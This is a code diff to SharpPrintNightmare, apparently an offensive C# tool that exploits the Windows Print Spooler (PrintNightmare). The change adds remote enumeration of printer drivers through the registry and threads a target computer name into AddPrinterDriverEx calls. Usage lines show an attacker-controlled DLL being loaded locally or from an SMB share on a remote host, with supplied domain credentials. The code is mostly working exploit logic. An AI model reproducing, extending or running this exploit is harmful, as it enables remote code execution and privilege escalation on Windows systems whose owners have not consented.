|
|
|
@ -1,6 +1,9 @@ |
|
|
|
|
using System; |
|
|
|
|
using Microsoft.Win32; |
|
|
|
|
using System; |
|
|
|
|
using System.Collections.Generic; |
|
|
|
|
using System.ComponentModel; |
|
|
|
|
using System.IO; |
|
|
|
|
using System.Linq; |
|
|
|
|
using System.Runtime.InteropServices; |
|
|
|
|
using Tools; |
|
|
|
|
|
|
|
|
@ -17,6 +20,7 @@ namespace SharpPrintNightmare |
|
|
|
|
//https://www.pinvoke.net/default.aspx/winspool/EnumPrinterDrivers.html |
|
|
|
|
[DllImport("winspool.drv", CharSet = CharSet.Auto, SetLastError = true)] |
|
|
|
|
static extern bool EnumPrinterDrivers(String pName, String pEnvironment, uint level, IntPtr pDriverInfo, uint cdBuf, ref uint pcbNeeded, ref uint pcRetruned); |
|
|
|
|
|
|
|
|
|
public struct DRIVER_INFO_2 |
|
|
|
|
{ |
|
|
|
|
public uint cVersion; |
|
|
|
@ -46,8 +50,8 @@ namespace SharpPrintNightmare |
|
|
|
|
static void Main(string[] args) |
|
|
|
|
{ |
|
|
|
|
string dllpath; |
|
|
|
|
string pDriverPath = ""; |
|
|
|
|
string path = null; |
|
|
|
|
string computername = null; |
|
|
|
|
string pDriverPath = null; |
|
|
|
|
//network credentials wont be used for LPE |
|
|
|
|
string domain = "NeverGonnaGiveYouUp"; |
|
|
|
|
string user = "NeverGonnaLetYouDown"; |
|
|
|
@ -57,72 +61,77 @@ namespace SharpPrintNightmare |
|
|
|
|
{ |
|
|
|
|
Console.WriteLine("-Locally"); |
|
|
|
|
Console.WriteLine(" .\\SharpPrintNightmare.exe C:\\addCube.dll"); |
|
|
|
|
Console.WriteLine(" .\\SharpPrintNightmare.exe 'C:\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL'"); |
|
|
|
|
Console.WriteLine("-Remote using current context"); |
|
|
|
|
Console.WriteLine(" .\\SharpPrintNightmare.exe '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL' '\\\\192.168.1.20'"); |
|
|
|
|
Console.WriteLine(" .\\SharpPrintNightmare.exe '\\\\192.168.1.215\\smb\\addCube.dll' '\\\\192.168.1.20'"); |
|
|
|
|
Console.WriteLine("-Remote using runas"); |
|
|
|
|
Console.WriteLine(" .\\SharpPrintNightmare.exe '\\\\192.168.1.215\\smb\\addCube.dll' 'C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL' '\\\\192.168.1.20' hackit.local domain_user Pass123"); |
|
|
|
|
Console.WriteLine(" .\\SharpPrintNightmare.exe '\\\\192.168.1.215\\smb\\addCube.dll' '\\\\192.168.1.20' hackit.local domain_user Pass123"); |
|
|
|
|
Environment.Exit(0); |
|
|
|
|
} |
|
|
|
|
dllpath = args[0]; |
|
|
|
|
|
|
|
|
|
if (args.Length > 1) |
|
|
|
|
if (args.Length > 2) |
|
|
|
|
{ |
|
|
|
|
pDriverPath = args[1]; |
|
|
|
|
domain = args[2]; |
|
|
|
|
user = args[3]; |
|
|
|
|
password = args[4]; |
|
|
|
|
} |
|
|
|
|
else |
|
|
|
|
|
|
|
|
|
//runas /netonly |
|
|
|
|
using (new Impersonator.Impersonation(domain, user, password)) |
|
|
|
|
{ |
|
|
|
|
DRIVER_INFO_2[] drivers = getDrivers(); |
|
|
|
|
foreach (DRIVER_INFO_2 driver in drivers) |
|
|
|
|
if (args.Length > 1 && args.Length <= 5) |
|
|
|
|
{ |
|
|
|
|
//Console.WriteLine(driver.pDriverPath); //debugcd |
|
|
|
|
if (driver.pDriverPath.ToLower().Contains("filerepository")) |
|
|
|
|
//Find remote drivers |
|
|
|
|
computername = args[1]; |
|
|
|
|
List<string> drivers = getDrivers(computername); |
|
|
|
|
pDriverPath = Path.GetDirectoryName(drivers[0]) + "\\Amd64\\UNIDRV.DLL"; |
|
|
|
|
if (string.IsNullOrEmpty(pDriverPath)) |
|
|
|
|
{ |
|
|
|
|
pDriverPath = driver.pDriverPath; |
|
|
|
|
break; |
|
|
|
|
Console.WriteLine($"[-] Specify pDriverPath manually"); |
|
|
|
|
Environment.Exit(1); |
|
|
|
|
} |
|
|
|
|
} |
|
|
|
|
//could not find driver path |
|
|
|
|
if (pDriverPath == "") |
|
|
|
|
//if OpenRemoteBaseKey fails |
|
|
|
|
else if (args.Length > 5) |
|
|
|
|
{ |
|
|
|
|
Console.WriteLine($"[-] pDriverPath {drivers[0].pDriverPath}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\....."); |
|
|
|
|
Console.WriteLine($"[-] Specify pDriverPath manually"); |
|
|
|
|
Environment.Exit(1); |
|
|
|
|
pDriverPath = args[5]; |
|
|
|
|
} |
|
|
|
|
} |
|
|
|
|
Console.WriteLine($"[*] pDriverPath {pDriverPath}"); |
|
|
|
|
Console.WriteLine($"[*] Executing {dllpath}"); |
|
|
|
|
|
|
|
|
|
if (args.Length > 2) |
|
|
|
|
{ |
|
|
|
|
path = args[2]; |
|
|
|
|
} |
|
|
|
|
if (args.Length > 3) |
|
|
|
|
{ |
|
|
|
|
domain = args[3]; |
|
|
|
|
user = args[4]; |
|
|
|
|
password = args[5]; |
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
//runas /netonly |
|
|
|
|
using (new Impersonator.Impersonation(domain, user, password)) |
|
|
|
|
{ |
|
|
|
|
else //Find local driver |
|
|
|
|
{ |
|
|
|
|
DRIVER_INFO_2[] drivers = getDrivers(); |
|
|
|
|
foreach (DRIVER_INFO_2 driver in drivers) |
|
|
|
|
{ |
|
|
|
|
//Console.WriteLine(driver.pDriverPath); //debugcd |
|
|
|
|
if (driver.pDriverPath.ToLower().Contains("filerepository")) |
|
|
|
|
{ |
|
|
|
|
pDriverPath = driver.pDriverPath; |
|
|
|
|
break; |
|
|
|
|
} |
|
|
|
|
} |
|
|
|
|
//could not find driver path |
|
|
|
|
if (string.IsNullOrEmpty(pDriverPath)) |
|
|
|
|
{ |
|
|
|
|
Console.WriteLine($"[-] pDriverPath {drivers[0].pDriverPath}, expected :\\Windows\\System32\\DriverStore\\FileRepository\\....."); |
|
|
|
|
Console.WriteLine($"[-] Specify pDriverPath manually"); |
|
|
|
|
Environment.Exit(1); |
|
|
|
|
} |
|
|
|
|
} |
|
|
|
|
Console.WriteLine($"[*] pDriverPath {pDriverPath}"); |
|
|
|
|
Console.WriteLine($"[*] Executing {dllpath}"); |
|
|
|
|
Console.WriteLine("[*] Try 1..."); |
|
|
|
|
addPrinter(dllpath, pDriverPath, path); |
|
|
|
|
addPrinter(dllpath, pDriverPath, computername); |
|
|
|
|
Console.WriteLine("[*] Try 2..."); |
|
|
|
|
addPrinter(dllpath, pDriverPath, path); |
|
|
|
|
addPrinter(dllpath, pDriverPath, computername); |
|
|
|
|
Console.WriteLine("[*] Try 3..."); |
|
|
|
|
addPrinter(dllpath, pDriverPath, path); |
|
|
|
|
addPrinter(dllpath, pDriverPath, computername); |
|
|
|
|
} |
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
static void addPrinter(string dllpath, string pDriverPath, string path = null) |
|
|
|
|
static void addPrinter(string dllpath, string pDriverPath, string computername) |
|
|
|
|
{ |
|
|
|
|
|
|
|
|
|
//pDriverPath = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_83aa9aebf5dffc96\\Amd64\\UNIDRV.DLL"; // 2019 debug |
|
|
|
|
//pDriverPath = "C:\\Windows\\System32\\DriverStore\\FileRepository\\ntprint.inf_amd64_addb31f9bff9e936\\Amd64\\UNIDRV.DLL"; // 2016 debug |
|
|
|
|
|
|
|
|
|
//DRIVER_INFO_2 Level2 = drivers[0]; // debug |
|
|
|
|
DRIVER_INFO_2 Level2 = new DRIVER_INFO_2(); |
|
|
|
|
Level2.cVersion = 3; |
|
|
|
|
Level2.pConfigFile = "C:\\Windows\\System32\\winhttp.dll"; //replace kernelbase with winhttp |
|
|
|
@ -139,7 +148,7 @@ namespace SharpPrintNightmare |
|
|
|
|
Marshal.StructureToPtr(Level2, pnt, false); |
|
|
|
|
|
|
|
|
|
//call AddPrinterDriverEx |
|
|
|
|
AddPrinterDriverEx(path, 2, pnt, flags); |
|
|
|
|
AddPrinterDriverEx(computername, 2, pnt, flags); |
|
|
|
|
Console.WriteLine("[*] Stage 0: " + Marshal.GetLastWin32Error()); |
|
|
|
|
Marshal.FreeHGlobal(pnt); |
|
|
|
|
|
|
|
|
@ -154,7 +163,7 @@ namespace SharpPrintNightmare |
|
|
|
|
Marshal.StructureToPtr(Level2, pnt2, false); |
|
|
|
|
|
|
|
|
|
//call AddPrinterDriverEx |
|
|
|
|
AddPrinterDriverEx(path, 2, pnt2, flags); |
|
|
|
|
AddPrinterDriverEx(computername, 2, pnt2, flags); |
|
|
|
|
int errorcode = Marshal.GetLastWin32Error(); |
|
|
|
|
Marshal.FreeHGlobal(pnt2); |
|
|
|
|
if (errorcode == 0) |
|
|
|
@ -166,13 +175,44 @@ namespace SharpPrintNightmare |
|
|
|
|
} |
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
static DRIVER_INFO_2[] getDrivers(string path = null) |
|
|
|
|
static List<string> getDrivers(string computername) |
|
|
|
|
{ |
|
|
|
|
computername = computername.Trim('\\'); |
|
|
|
|
string driverpath = "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Print\\PackageInstallation\\Windows x64\\DriverPackages"; |
|
|
|
|
List<string> drivers = new List<string>(); |
|
|
|
|
try |
|
|
|
|
{ |
|
|
|
|
RegistryKey environmentKey = RegistryKey.OpenRemoteBaseKey(RegistryHive.LocalMachine, computername); |
|
|
|
|
|
|
|
|
|
foreach (string subKeyName in environmentKey.OpenSubKey(driverpath).GetSubKeyNames().Where(item => item.Contains("ntprint.inf_amd64"))) |
|
|
|
|
{ |
|
|
|
|
string path; |
|
|
|
|
//Console.WriteLine(subKeyName); |
|
|
|
|
path = (string)environmentKey.OpenSubKey(driverpath + "\\" + subKeyName).GetValue("DriverStorePath"); |
|
|
|
|
//Console.WriteLine(path); |
|
|
|
|
if (!String.IsNullOrEmpty(path)) |
|
|
|
|
{ |
|
|
|
|
drivers.Add(path); |
|
|
|
|
} |
|
|
|
|
} |
|
|
|
|
environmentKey.Close(); |
|
|
|
|
} |
|
|
|
|
catch |
|
|
|
|
{ |
|
|
|
|
Console.WriteLine("[-] Failed to enumerate printer drivers"); |
|
|
|
|
Environment.Exit(1); |
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
return drivers; |
|
|
|
|
|
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
static DRIVER_INFO_2[] getDrivers() |
|
|
|
|
{ |
|
|
|
|
uint cbNeeded = 0; |
|
|
|
|
uint cReturned = 0; |
|
|
|
|
//path = "\\\\192.168.1.20"; |
|
|
|
|
|
|
|
|
|
if (EnumPrinterDrivers(path, "Windows x64", 2, IntPtr.Zero, 0, ref cbNeeded, ref cReturned)) |
|
|
|
|
if (EnumPrinterDrivers(null, "Windows x64", 2, IntPtr.Zero, 0, ref cbNeeded, ref cReturned)) |
|
|
|
|
{ |
|
|
|
|
//succeeds, but shouldn't, because buffer is zero (too small)! |
|
|
|
|
throw new Exception("EnumPrinters should fail!"); |
|
|
|
@ -186,7 +226,7 @@ namespace SharpPrintNightmare |
|
|
|
|
} |
|
|
|
|
|
|
|
|
|
IntPtr pAddr = Marshal.AllocHGlobal((int)cbNeeded); |
|
|
|
|
if (EnumPrinterDrivers(path, "Windows x64", 2, pAddr, cbNeeded, ref cbNeeded, ref cReturned)) |
|
|
|
|
if (EnumPrinterDrivers(null, "Windows x64", 2, pAddr, cbNeeded, ref cbNeeded, ref cReturned)) |
|
|
|
|
{ |
|
|
|
|
DRIVER_INFO_2[] printerInfo2 = new DRIVER_INFO_2[cReturned]; |
|
|
|
|
long offset; |
|
|
|
|